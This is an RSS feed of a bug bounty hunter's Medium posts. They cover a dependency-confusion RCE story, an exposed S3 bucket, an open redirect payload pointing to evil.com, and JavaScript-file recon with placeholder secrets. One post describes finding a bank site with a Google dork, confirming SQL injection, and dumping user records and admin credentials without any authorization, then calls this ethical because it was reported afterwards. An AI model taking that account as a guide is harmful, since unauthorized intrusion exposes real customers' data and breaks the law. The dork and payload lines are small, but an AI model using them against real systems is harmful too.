<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by zabit majeed on Medium]]></title>
        <description><![CDATA[Stories by zabit majeed on Medium]]></description>
        <link>https://medium.com/@rootxabit?source=rss-7ea937af0be2------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*F0ro6cjdI4Fgb_bK2XCtiQ.jpeg</url>
            <title>Stories by zabit majeed on Medium</title>
            <link>https://medium.com/@rootxabit?source=rss-7ea937af0be2------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Thu, 28 May 2026 18:42:06 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@rootxabit/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com" rel="hub"/>
        <item>
            <title><![CDATA[Finding Remote Code Execution in Google: A Bug Hunter’s Story]]></title>
            <link>https://rootxabit.medium.com/finding-remote-code-execution-in-google-a-bug-hunters-story-7b22656ecf6b?source=rss-7ea937af0be2------2</link>
            <guid isPermaLink="false">https://medium.com/p/7b22656ecf6b</guid>
            <category><![CDATA[cve]]></category>
            <category><![CDATA[google]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[dependency-injection]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[zabit majeed]]></dc:creator>
            <pubDate>Sun, 11 Jan 2026 17:49:36 GMT</pubDate>
            <atom:updated>2026-01-11T17:49:36.693Z</atom:updated>
            <content:encoded><![CDATA[<h3>Finding Remote Code Execution in Google</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BzxYAwhcOTXYPzvKce4RRA.png" /><figcaption>HEHE SUPPORT FOR MORE</figcaption></figure><p>Hey everyone, this is <strong>Zabit Majeed </strong>. I’m an ethical hacker and a part-time bug bounty hunter, and this story is about persistence more than luck. What began as a routine day of testing quickly turned into hours of frustration endpoints that revealed nothing, payloads that failed silently, and assumptions that kept breaking. But instead of walking away, I leaned in. By carefully observing behavior, questioning every response, and methodically testing Google’s vast attack surface, I found myself closing in on something far more serious than expected. This is the story of how that persistence led to the discovery of a <strong>Remote Code Execution vulnerability in Google</strong>, and the lessons it taught me along the way.</p><p><strong>Phase 1: Pain, Pressure, and the Decision to Fight Back🧠💥</strong></p><p>December was supposed to be about college exams. Books, notes, revision.<br>But my mind was nowhere near academics.</p><p>I felt stuck dangerously stuck. I wasn’t improving in studies, and worse, I wasn’t growing as a hacker either. Days passed, and all I could think about was how much time I had already wasted. The future started to feel heavy. Fear crept in quietly at first, then loudly. We all know one truth: no matter the field, survival demands hard work. And in that moment, I felt like I was doing none of it.</p><p>That frustration broke something inside me but it also ignited something.</p><p>I decided to motivate myself the only way I knew how: by doing something that genuinely made me feel alive. I returned to Google’s bug bounty program, but this time with a rule carved into my mind <strong>I would look for only one thing: Remote Code Execution</strong>. No distractions. No easy bugs. Just one goal. I turned it into a personal challenge, a fight against my own self-doubt.</p><p>Before touching a single endpoint, I studied the scope carefully. I analyzed which assets were in play, which surfaces were realistic, and where RCE could even exist. This wasn’t random hacking anymore. This was deliberate. Focused. Hungry.</p><p>And that hunger was only about to grow. 🔥</p><p><strong>Phase 2: Sleepless Nights and Obsession with the Giant 🌙🕳️</strong></p><p>I decided to start where most people give up early Google subdomains.<br>Massive. Complex. Ruthless. What I thought would be a systematic process slowly turned into a mental war. Nights passed without sleep. Even when my body begged for rest, my mind refused to shut down. I would lie in bed replaying endpoints, responses, headers everything. My heart raced constantly, and panic attacks became frequent visitors. The pressure wasn’t from Google; it was from myself.</p><p>Every failed attempt hurt. Every “nothing found” response felt like proof that I wasn’t good enough. But strangely, the pain didn’t push me away it pulled me deeper. My mind became hungry. Not curious hungry. Hungry to break through. Hungry to prove that I could hunt a giant and not disappear.</p><p>At some point, I realized something important: I was exhausted, but I wasn’t defeated. The web attack surface was massive, and brute force curiosity wasn’t enough anymore. If I continued like this, I’d burn out before I learned anything valuable. So I made a hard decision. I stepped back not to quit, but to change strategy. And that single decision quietly changed the entire direction of this journey. 🧭</p><p><strong>Phase 3: Stepping Away from the Web and Finding Clarity 🔄🧩</strong></p><p>Leaving the web attack surface felt like admitting defeat — but it wasn’t. It was maturity. I knew that if I kept forcing the same approach, I’d only keep getting the same results. So I shifted my focus to something quieter, often ignored, but incredibly powerful: open source software.</p><p>At first, I looked for information disclosure issues. The logic was simple — small leaks often lead to bigger compromises. I spent hours digging through repositories, commits, and configurations, but nothing solid surfaced. Every promising lead turned out to be a dead end. The frustration returned, but this time, it didn’t break me.</p><p><strong>Then I reminded myself of the rule I had set on day one:<br>Only RCE. Nothing else.</strong></p><p>That moment reset everything.</p><p><strong>I stopped chasing random bugs and started learning instead. I read blogs, researched realworld exploitation paths, and studied how minor misconfigurations could escalate into full Remote Code Execution. That’s when I came across something that made my heart race a technique that had quietly caused massive realworld impact: Dependency Confusion.</strong></p><p>I realized this wasn’t just a theory. This was a bridge from oversight to execution.</p><p>I started researching how package managers resolve dependencies, where they pull packages from, and how missing or misconfigured dependencies could be abused. Slowly, the pieces began to fit together. This wasn’t about speed anymore. This was about understanding.</p><p>And for the first time in days, I felt something different.</p><p>Hope. ⚡</p><p><strong>Phase 4: Automation, Pain, and the First Breakthrough ⚙️🔥</strong></p><p>I quickly realized how painful this process was going to be. Google’s open-source ecosystem is massive, and manually checking repositories with hundreds of dependencies was draining especially with my health already taking a toll. The sheer number of packages made human effort unrealistic.</p><p>So I did what hackers do best I automated.</p><p><strong>I wrote a small Python script to scan repositories and extract dependencies from `package.json`, checking for missing or unpublished packages. It wasn’t fancy, but it worked. After nearly an hour of execution, something finally stood out a package that didn’t exist in the public registry.</strong></p><p>That moment changed everything.</p><p>I claimed the missing dependency and uploaded it with a preinstall script. The payload was simple but powerful: execute a command and send the output back to my system. No noise. No destruction. Just proof.</p><p><strong>When the system installed the package, my code executed.</strong></p><p><strong>Remote.<br>Code.<br>Execution.</strong></p><p>I just sat there staring at the screen silent, shaking, but smiling. 😌</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*n6Zdn6xYPIpRBWVVBUqkAg.jpeg" /></figure><p>Phase 5: Acceptance, Reality, and a Personal Victory 🎉🤍</p><p>I documented everything carefully the methodology, the proof of concept, and the impact and submitted the report to Google. When the triage team responded with *“Nice catch!”*, it felt unreal. All the sleepless nights, panic, and self-doubt suddenly felt worth it. For a moment, I believed this was it.</p><p>A few days later, reality set in.</p><p>The issue was valid and accepted, but the project turned out to be a standard, non-rewardable, and already offline asset. There would be no bounty. No pay out. Just the report and the acknowledgment. I won’t lie it hurt a little.</p><p>But then I realized something important.</p><p>I had completed my challenge.</p><p>I set out with one goal: find a Remote Code Execution in Google. And I did. Not by luck, not by shortcuts but through persistence, learning, and faith. By the grace of Almighty Allah, I was shown the path when I felt lost, and that lesson mattered more than any reward.</p><p>This journey reminded me why I started hacking in the first place not for money, but for growth, discipline, and belief in myself. And that victory? That one stays forever. 💙</p><p>If you enjoyed this journey and want to follow along as I continue learning and hunting, feel free to connect with me on LinkedIn:<br>👉 [<a href="https://www.linkedin.com/in/zabitmajeed/](https://www.linkedin.com/in/zabitmajeed/)">https://www.linkedin.com/in/zabitmajeed/](https://www.linkedin.com/in/zabitmajeed/)</a></p><p>Thank you for reading. 🚀</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7b22656ecf6b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Struggling in Bug Bounty? Here’s How I Found My First Critical ]]></title>
            <link>https://rootxabit.medium.com/struggling-in-bug-bounty-heres-how-i-found-my-first-critical-8878ee896928?source=rss-7ea937af0be2------2</link>
            <guid isPermaLink="false">https://medium.com/p/8878ee896928</guid>
            <category><![CDATA[critical-bug]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[zero-day]]></category>
            <category><![CDATA[hackerone]]></category>
            <category><![CDATA[cve]]></category>
            <dc:creator><![CDATA[zabit majeed]]></dc:creator>
            <pubDate>Sat, 19 Jul 2025 14:11:37 GMT</pubDate>
            <atom:updated>2025-07-19T14:11:37.751Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello 👋 I’m <strong>xabit</strong> a part-time <strong>bug bounty hunter </strong>🎯 and a <strong>first-year college student </strong>📚.<strong> Bug bounty hunting</strong> isn’t just about <strong>earning money</strong> 💰; for me, <strong>it’s about learning and challenging myself daily</strong>.</p><p>But… not every day is exciting 😅.<strong> I’ve faced duplicates, informative reports and N/A bugs countless times</strong>. <strong>But the real game is to stay consistent </strong>🔥, <strong>treat failures as part of the process, and keep moving forward 🚀. </strong>This is how I ended up finding a <strong>Critical 10.0 severity bug </strong>… but that’s the story I’m about to share 🕵️‍♂️.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QgFQq1MzryXjN5o4kOfL6w.jpeg" /></figure><h3>💻 Phase 1: The Real Start of My Hunting Journey</h3><p>Bored… frustrated… stuck in repetitive reports. That’s where I was.</p><p>College lectures in the morning, laptop open at night. Hunting aimlessly for 10–12 hours without a plan 🕵️‍♂️. Searching subdomains, learning recon, trying random dorks… but getting nowhere.</p><p>At one point, I asked myself: <strong>Why am I even doing this?</strong></p><p>But deep inside, I knew — I loved the challenge 💥. Failure wasn’t the end. It was fuel.</p><p>One random day, after switching from Bugcrowd to HackerOne 🚀, I spotted a <strong>new target</strong> with a fresh tag 🏷️. Something clicked.</p><p><em>“New target… fresh scope… maybe this is the moment I’ve been waiting for.”</em></p><p>That night, I promised myself:<br> <strong>Focus only on criticals. No distractions.</strong></p><p>And that’s how my journey towards finding a <strong>Critical 10.0 bug</strong> officially began… 🔥</p><h3>🛠️ Phase 2: Building My Recon Arsenal</h3><p>Now it was game time. 🎯</p><p>I decided this wasn’t going to be just another lazy scan session.<br> I pulled out my tools — and this time, <strong>I hunted with purpose</strong>. 💥</p><ul><li>🔎 <strong>Subdomain enumeration:</strong> Subfinder, Assetfinder, crt.sh</li><li>🌐 <strong>Dorking:</strong> Google dorking for hidden endpoints</li><li>🛠️ <strong>Endpoint extraction:</strong> Katana + WaybackURLs</li><li>📂 <strong>Filtering:</strong> Using GF tool to sort out parameters</li><li>📜 <strong>JavaScript analysis:</strong> Digging deep into JS files for hidden data</li></ul><p>Everything I found… I saved. 📝</p><p>But this time, I wasn’t looking for low-hanging fruit 🍏 like open directories or session flags.<br> I had one goal in mind:<br> <strong>“Find something that hits Critical.”</strong></p><p>I knew it wouldn’t be easy. But I had decided — <strong>critical or nothing.</strong></p><p>Night after night… failures kept adding up.</p><p>But one small discovery was about to change everything… 🚨</p><h3>💣 Phase 3: The Missed Critical I Almost Ignored</h3><p>One night, frustrated and exhausted, I opened yet another subdomain.<br> This time, a small notification popped up from my S3 bucket extension.</p><p><strong>“Public S3 Bucket Detected — Listing Enabled”</strong></p><p>At first, I ignored it.<br> <em>“S3 buckets? Informative. They’ll close this like the others.”</em> 😑</p><p>But somewhere inside, I felt a small push.<br> I saved the bucket URL in my notes…<br> And forgot about it. 🗒️</p><p>Two days later, I randomly decided to report it. Without much hope, I submitted the report.</p><p>Their first reply?<br> <strong>“Have you found anything interesting inside the bucket?”</strong></p><p>Honestly… I ignored their reply for 2–3 days 😅.<br> I was tired of hearing “Informative” again.</p><p>But then… I opened that bucket.</p><p>What I saw next shocked me. 😳<br> <strong>Full directory listings. Internal files. Documents.<br> Database dumps.<br> Across all interlinked companies… in scope.</strong></p><p>I wasn’t looking at an informative anymore.</p><p>I was staring at a <strong>real, critical breach.</strong> 💥</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/994/1*vahswJIbrqLtmNve-7soxA.png" /></figure><h3>🚨 Phase 4: From Lazy Mistake to Critical 10.0 🚨</h3><p>Heart racing. Hands shaking. I knew what I had found.</p><p>I messaged the triager:<br> <strong>“The bucket contains sensitive files, databases, and internal directories from all linked companies in scope.”</strong></p><p>His reply?<br> <strong>“We’re discussing with the team.”</strong></p><p>Days passed. I expected nothing.</p><p>Then…<br> 💬 <strong>“Company has marked this report as Maximum Severity — 10.0 Critical.”</strong></p><p>I froze. 😳<br> My first reaction? Confusion.<br> “Critical? Really? That simple S3 bucket?”</p><p>They had patched it. Triaged my report.<br> And informed me that <strong>swag rewards for criticals were being developed I’ll be rewarded soon.</strong></p><p>A random S3 bucket.<br> Ignored at first.<br> Turned out to be my first <strong>Critical 10.0 win</strong>. 🔥</p><p>Moral?<br> 📌 Never ignore what feels small.<br> 📌 Don’t trust your exhaustion.<br> 📌 Report and move on — you never know.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/369/1*mxkDr0evyVfxB_G3liAscQ.png" /></figure><h3>🎯 Final Phase: My Personal Message to Every Hunter 🎯</h3><p>This journey wasn’t just about finding a bug…<br> It was about breaking my limits. ⚡</p><p>I learned something priceless:<br> <strong>Bug bounty isn’t a money race.<br> It’s a patience game.<br> It’s a learning path.<br> It’s about consistency.</strong> 🔥</p><p>Report. Forget. Hunt again.<br> Get <em>informative?</em> Accept it.<br> Get <em>duplicate?</em> Accept it.<br> But never stop.</p><p>Every “small” report you ignore might be hiding your first critical. 💣</p><p>To everyone struggling right now:<br> <strong>Stay consistent. Challenge yourself. Keep learning. Your critical moment is coming.</strong> 🚀</p><p>For more motivation, tips, and my real stories — <br> <strong>Follow me on LinkedIn: </strong><a href="https://www.linkedin.com/in/zabitmajeed/">https://www.linkedin.com/in/zabitmajeed/</a>🔥</p><p><strong>Youtube channel : </strong><a href="https://www.youtube.com/@xabithacks">https://www.youtube.com/@xabithacks</a> <a href="https://www.linkedin.com/in/zabitmajeed/">/</a>🔥</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8878ee896928" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ Breaking Into a Bank’s Database (Ethically!) — My Wild Cybersecurity Ride]]></title>
            <link>https://rootxabit.medium.com/breaking-into-a-banks-database-ethically-my-wild-cybersecurity-ride-b90c91b0b09b?source=rss-7ea937af0be2------2</link>
            <guid isPermaLink="false">https://medium.com/p/b90c91b0b09b</guid>
            <category><![CDATA[anonymous]]></category>
            <category><![CDATA[black-hat-hacker]]></category>
            <category><![CDATA[bankhacked]]></category>
            <category><![CDATA[sql-injection]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[zabit majeed]]></dc:creator>
            <pubDate>Tue, 20 May 2025 18:09:08 GMT</pubDate>
            <atom:updated>2025-05-20T18:09:08.274Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>🔓 Breaking Into a Bank’s Database (Ethically!) — My Wild Cybersecurity Ride</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/850/1*Z8HjFS8UUSjimKrveG_BDg.jpeg" /></figure><p><strong>👋 Greetings, Fellow Hackers and Cyber Enthusiasts!</strong><br>I’m <strong>XABIT</strong>— your friendly neighborhood cybersecurity researcher, part-time bug bounty hunter, and full-time caffeine addict.</p><p>What I’m about to share isn’t just another hacking story. It’s a <strong>rollercoaster of frustration, discovery, and a critical life decision</strong> that every ethical hacker faces sooner or later. Buckle up.</p><h3>🌌 The Descent Into Madness</h3><p>It was one of those nights.</p><p>The kind where your <strong>Bugcrowd submissions keep getting rejected</strong>, your college assignments are piling up, and your brain feels like a overheated CPU throttling at 100% usage. I was <strong>angry. Restless. Unfocused.</strong></p><p>I needed to prove something — <strong>to myself.</strong></p><p>Not just any vulnerability. Not just another XSS or CSRF. I wanted <strong>something big. Something dangerous.</strong></p><p><strong>Remote Code Execution via SQL Injection.</strong></p><p>The kind of exploit that could <strong>own an entire system</strong> if mishandled. The kind that separates script kiddies from real researchers.</p><p>I cracked my knuckles, gulped down the last of my cold coffee, and dove into the abyss of <strong>Google Dorks.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bzuXpvUSl_EGcdDGBzWn8w.jpeg" /></figure><h3>👻 Ghosts in the Government Machines</h3><p>Hours melted together.</p><p>At first, it was the usual — <strong>exposed .gov portals, misconfigured databases, sensitive documents</strong> lying around like open books. I dutifully reported them, but each submission felt like shouting into a void.</p><p>Then <strong>Shodan</strong> whispered something interesting in my ear — <strong>an unsecured military dashboard.</strong></p><p>My fingers froze over the keyboard.</p><p>No disclosure program. No responsible contact. Just… <strong>access.</strong></p><p>For a brief, terrifying moment, I considered probing further. The temptation was real. But then I heard my mentor’s voice in my head:</p><p><em>“The measure of a hacker isn’t what they can break into — it’s what they choose not to.”</em></p><p>I closed the tab.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Yr5y4lt6G5GP6zt7uoGcbw.jpeg" /></figure><h3>💼 The Bank That Almost Bleed Out</h3><p>Then, <strong>the breakthrough.</strong></p><p>A simple Dork:<br>inurl:*.php?id=</p><p>And there it was — <strong>a banking portal.</strong></p><p>A single apostrophe (’) in the ID parameter made the entire page <strong>blank out.</strong></p><p><strong>SQL Injection confirmed.</strong></p><p>My heart pounded as I started mapping the database:</p><ul><li>Extracted table names</li><li>Dumped user records</li><li>Found <strong>admin credentials</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tO_PpNKwJDupJvB0Oq64jA.png" /></figure><p>For a brief, surreal moment, I <strong>held the keys to the kingdom.</strong></p><p>I could’ve:</p><ul><li>Drained accounts</li><li>Tampered with transactions</li><li>Owned the entire banking backend</li></ul><p><strong>The power was terrifying.</strong></p><h3>🛡️ The Ethical Crossroads</h3><p>No bug bounty program. No clear path for disclosure.</p><p>Just me, staring at the abyss, wondering:<br><em>“What now?”</em></p><p>That’s when I remembered <strong>CERT-In</strong> — India’s Computer Emergency Response Team.</p><p>I drafted a <strong>detailed PoC</strong>, documented every step, and sent it off with a silent prayer.</p><p><strong>Their response?</strong><br><em>“We’ve filed your report.”</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YxQ13mIxSjT0HfGnG1Hxzg.png" /></figure><p>No reward. No fame. Just the quiet satisfaction of knowing <strong>I did the right thing.</strong></p><h3>🚀 The Aftermath — Why This Matters</h3><p>That night taught me more than any CTF or certification ever could:</p><ol><li><strong>The Lowest Points Often Lead to Breakthroughs</strong><br>My frustration fueled my focus. Sometimes, anger can be a weapon — if you aim it right.</li><li><strong>True Power Lies in Restraint</strong><br>Any hacker can break things. It takes <strong>discipline</strong> to walk away from chaos.</li><li><strong>Ethics Aren’t Optional</strong><br>The line between researcher and criminal is thinner than most realize. <strong>Stay vigilant.</strong></li></ol><p><strong>🔥 Liked This Story?</strong></p><ul><li><strong>Follow</strong> for more real-world hacking adventures</li><li><strong>Share</strong> to spread the ethos of ethical hacking</li><li><strong>Comment</strong> your own “I could’ve gone rogue” moments!</li></ul><p><strong>Stay curious. Stay dangerous. Stay ethical.</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b90c91b0b09b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I Found an Open Redirect on Twitter — A Thrilling Twist on a Boring Day ]]></title>
            <link>https://rootxabit.medium.com/how-i-found-an-open-redirect-on-twitter-a-thrilling-twist-on-a-boring-day-304ae1981d37?source=rss-7ea937af0be2------2</link>
            <guid isPermaLink="false">https://medium.com/p/304ae1981d37</guid>
            <dc:creator><![CDATA[zabit majeed]]></dc:creator>
            <pubDate>Mon, 14 Apr 2025 16:29:23 GMT</pubDate>
            <atom:updated>2025-04-15T03:05:01.345Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>How I Found an Open Redirect on Twitter — A Thrilling Twist on a Boring Day 😎🐦</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YtIln1g2uAvaIlSjX2sQpQ.png" /></figure><p><strong>Hey everyone! 👋<br>Hope you&#39;re all doing great 💯<br>This is XABIT, and today I’m back with another story </strong>— part funny 😂, part frustrating 😤, but 100% real. It’s about a boring day that unexpectedly turned into a thrilling one… thanks to a lucky twist of fate — and a sneaky little redirect. 🔀💻</p><p>---</p><p><strong>The Day Started Boring... Like, Really Boring 🥱</strong></p><p>It was one of those days. I was just sitting in my room, completely zoned out 🧠💤<br><strong>No dopamine, no bugs, no bounty</strong> — just a cycle of disappointment 😩</p><p>Every test I ran either turned into a false alarm, or worse, a &quot;Not Applicable&quot; tag 🫠<br><strong>Imagine finding RSA keys exposed 🔐... and then getting told, &quot;meh, informative&quot; 🤦‍♂️</strong></p><p>Frustration? Max level 🔥<br>Recon? Did almost zero.<br>Burp Suite? Didn&#39;t even bother opening it 🫥</p><p>I was just throwing around a Google dork for Twitter and browsing random subdomains like a digital wanderer 🧭</p><p>---</p><p><strong>The Funny Part: No Tools, Just Pure Instinct 🤣🕵️</strong></p><p>There I was… inside some forgotten Twitter subdomain — let’s call it redacted.xyz.twitter.com (can’t remember the exact name 🫡).</p><p>Logged in with my creds as usual 🧑‍💻<br>Then... my cursor accidentally hovered over the logout button —<br>And there it was:</p><p><strong>?redirect_url=https://twitter.com/home</strong></p><p>👀 Wait a sec.</p><p>I copied the link and replaced it with:</p><p><strong>?redirect_url=https://www.evil.com/</strong></p><p>Hit Enter...<br>And guess what?</p><p><em>It redirected. Just like that.<br>🚨 No warnings. No validation.<br>💀 Clean open redirect.</em></p><p>---</p><p><strong>From Zero to Dopamine Rush</strong> 💨💥</p><p>That moment hit different 🔥<br>I sat up straight, heart thumping like I found gold in trash 🪙💻<br>Took a deep breath 🧘‍♂️, smiled 😏, and started preparing the report ✍️</p><p><strong>The boredom? Gone.<br>The vibe? Back.<br>The hacker in me? Awakened.</strong> ⚡</p><p>---</p><p><strong>But Then... Reality Slapped Me</strong> 💔📩</p><p>A few days later… the email came 📨</p><p>&gt; &quot;<em>Your report has been marked as informative.</em>&quot;</p><p>💀</p><p>Turns out, it was out of scope.</p><p><strong>It felt like when a girl says:<br>&quot;I love you… but as a friend.&quot;<br>Yeah… ouch 😶‍🌫️</strong></p><p>---</p><p>But Still, A W Is a W ✅</p><p><strong>Even though I didn’t hit the jackpot 💸, this bug was a W in my book 📖</strong><br>It reminded me that:</p><p>🔹 Every valid finding — even if marked as informative — helps grow your skills 🧠<br>🔹 You’re always one click away from finding something interesting 🤌<br>🔹 And most importantly: Never stop exploring 🚀</p><p>---</p><p>Thanks for reading my thrill-filled, boredom-busting bug bounty tale 😄💬<br><em>If you enjoyed it, follow me on Medium and Instagram @xabit___ for more stories, tips, and raw hacker experiences 🤘👨‍💻</em></p><p>Until next time —<br>Stay curious. Stay ethical. Stay legendary. 🕶️🔥</p><p>Peace out 🫡</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=304ae1981d37" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Uncovering Secrets: The Importance of JavaScript (.js) File Recon in Bug Bounty]]></title>
            <link>https://rootxabit.medium.com/uncovering-secrets-the-importance-of-javascript-js-file-recon-in-bug-bounty-aee4d8be396d?source=rss-7ea937af0be2------2</link>
            <guid isPermaLink="false">https://medium.com/p/aee4d8be396d</guid>
            <category><![CDATA[javascript]]></category>
            <category><![CDATA[bugbounty-writeup]]></category>
            <category><![CDATA[ethcial-hacking]]></category>
            <category><![CDATA[infosec-write-ups]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[zabit majeed]]></dc:creator>
            <pubDate>Fri, 04 Apr 2025 09:18:35 GMT</pubDate>
            <atom:updated>2025-04-04T09:18:35.719Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*r0pq2HxYMpSKQll9yIQMdg.png" /><figcaption>JS FILES</figcaption></figure><p>Hello Guys , I’m XABIT , an ethical hacker, cybersecurity researcher, and part-time bug bounty hunter. In today’s write-up, I’ll be discussing the importance of JavaScript (.js) file reconnaissance and why it plays a crucial role in security testing. So, without further delay, let’s get started!</p><p><strong>What are JavaScript files?</strong></p><p>JavaScript (.js) files are essential components of modern web applications, containing code that makes websites interactive and dynamic. These files are executed by the browser or a server-side environment like Node.js. They enhance user experience by handling events such as clicks, form submissions, and animations, making web pages more responsive. JavaScript files also play a crucial role in fetching and sending data using APIs, allowing seamless communication between the client and server without needing to reload the page. Additionally, they help manipulate HTML and CSS dynamically, enabling real-time updates to a webpage. From a security perspective, JavaScript files can expose sensitive information such as API keys, internal endpoints, or authentication mechanisms, making them valuable for reconnaissance in bug bounty hunting and ethical hacking. Understanding how these files work is essential for both developers and security researchers.</p><p><strong>What type of code do JavaScript (.js) files contain, and what are their uses?</strong></p><p>JavaScript (.js) files contain different types of code that serve various purposes in web development and security research. Here are the main types of code they include and their uses:</p><h3>1. DOM Manipulation Code</h3><p>📌 <strong>Purpose:</strong> Dynamically update or modify HTML and CSS elements on a webpage.<br> 📌 <strong>Example:</strong></p><pre>document.getElementById(&quot;title&quot;).innerText = &quot;Hello, World!&quot;;</pre><p>📌 <strong>Use Case:</strong> Changing text, colors, or styles based on user interaction.</p><h3>2. Event Handling Code</h3><p>📌 <strong>Purpose:</strong> Respond to user actions like clicks, keypresses, or mouse movements.<br> 📌 <strong>Example:</strong></p><pre>document.getElementById(&quot;btn&quot;).addEventListener(&quot;click&quot;, function() {<br>    alert(&quot;Button clicked!&quot;);<br>});</pre><p>📌 <strong>Use Case:</strong> Validating forms, triggering pop-ups, or handling user inputs.</p><h3>3. API Calls &amp; AJAX Code</h3><p>📌 <strong>Purpose:</strong> Send and receive data from servers without reloading the page.<br> 📌 <strong>Example:</strong></p><pre>fetch(&quot;https://api.example.com/data&quot;)<br>    .then(response =&gt; response.json())<br>    .then(data =&gt; console.log(data));</pre><p>📌 <strong>Use Case:</strong> Fetching live data, updating content dynamically, or handling login sessions.</p><h3>4. Security-Sensitive Code</h3><p>📌 <strong>Purpose:</strong> Some JavaScript files accidentally expose sensitive information.<br> 📌 <strong>Example:</strong></p><pre>const API_KEY = &quot;sk-1234567890abcdef&quot;;</pre><p>📌 <strong>Use Case:</strong> Attackers look for API keys, authentication tokens, or internal endpoints for security testing and bug hunting.</p><h3>5. Form Validation Code</h3><p>📌 <strong>Purpose:</strong> Validate user input before sending it to the server.<br> 📌 <strong>Example:</strong></p><pre>if (password.length &lt; 8) {<br>    alert(&quot;Password must be at least 8 characters long.&quot;);<br>}</pre><p>📌 <strong>Use Case:</strong> Preventing users from submitting incorrect or incomplete forms.</p><h3>6. Redirect &amp; Navigation Code</h3><p>📌 <strong>Purpose:</strong> Automatically redirect users to a different page.<br> 📌 <strong>Example:</strong></p><pre>window.location.href = &quot;https://example.com/dashboard&quot;;</pre><p>📌 <strong>Use Case:</strong> Handling login redirects or session timeouts.</p><h3>7. Tracking &amp; Analytics Code</h3><p>📌 <strong>Purpose:</strong> Monitor user behavior for analytics and advertising.<br> 📌 <strong>Example:</strong></p><pre>console.log(&quot;User visited the page.&quot;);</pre><p>📌 <strong>Use Case:</strong> Tracking user clicks, visits, and interactions on a website.</p><h3>8. WebSocket &amp; Real-Time Communication Code</h3><p>📌 <strong>Purpose:</strong> Enable real-time messaging, notifications, and live updates.<br> 📌 <strong>Example:</strong></p><pre>let socket = new WebSocket(&quot;wss://example.com/socket&quot;);<br>socket.onmessage = function(event) {<br>    console.log(&quot;New message:&quot;, event.data);<br>};</pre><p>📌 <strong>Use Case:</strong> Chat applications, stock market updates, or online gaming.</p><h3>Common Information Disclosures in JavaScript Files</h3><p>JavaScript (.js) files often contain sensitive information that developers might accidentally expose, making them a valuable target for reconnaissance in security research and bug bounty hunting. Some of the most common types of information disclosures include:</p><ul><li><strong>API Keys &amp; Secrets</strong> — Hardcoded API keys, authentication tokens, or secret keys for external services can be found in JavaScript files. If exposed, attackers can misuse these keys to access private APIs or perform unauthorized actions.</li></ul><pre>const API_KEY = &quot;sk-1234567890abcdef&quot;;</pre><ul><li><strong>Internal Endpoints &amp; URLs</strong> — Hidden API endpoints, private backend services, or staging environments may be left in JavaScript files. Attackers can use these to discover backend APIs and attempt unauthorized access.</li><li>const endpoint = &quot;https://internal.example.com/api/v1/data&quot;;</li><li><strong>Authentication Tokens &amp; Session IDs</strong> — Some applications mistakenly store authentication tokens in JavaScript files. This can lead to session hijacking or unauthorized access.</li></ul><pre>const authToken = &quot;Bearer eyJhbGciOiJIUzI1NiIsInR5c…&quot;;</pre><ul><li><strong>Sensitive Configuration Files</strong> — Debugging information, database credentials, or configuration details sometimes appear in JavaScript files. These should never be exposed in production environments.</li></ul><pre>const dbConfig = { user: &quot;admin&quot;, password: &quot;password123&quot; };</pre><ul><li><strong>Third-Party Service Credentials</strong> — Credentials for cloud services, analytics tools, or payment gateways are sometimes hardcoded. If leaked, attackers can exploit them for financial fraud or data theft.</li></ul><pre>const stripeKey = &quot;pk_live_1234567890abcdef&quot;;</pre><ul><li><strong>Debugging &amp; Console Logs</strong> — Developers may leave console logs containing sensitive information, which can be extracted by attackers.</li></ul><pre>console.log(&quot;User password: admin123&quot;);</pre><ul><li><strong>Hardcoded Usernames &amp; Passwords</strong> — Some applications store login credentials within JavaScript files, making them easy targets for attackers.</li><li>const username = &quot;admin&quot;; const password = &quot;password123&quot;;</li><li><strong>Payment Gateway &amp; Financial Data</strong> — Exposed credentials for payment processors like PayPal or Stripe can lead to financial losses and fraud.</li></ul><pre>const paypalClientID = &quot;A12B34C56D78E90F&quot;;</pre><ul><li><strong>Feature Flags &amp; Debugging Mode</strong> — Indicators of experimental features or test modes might be present, which attackers can exploit to bypass security 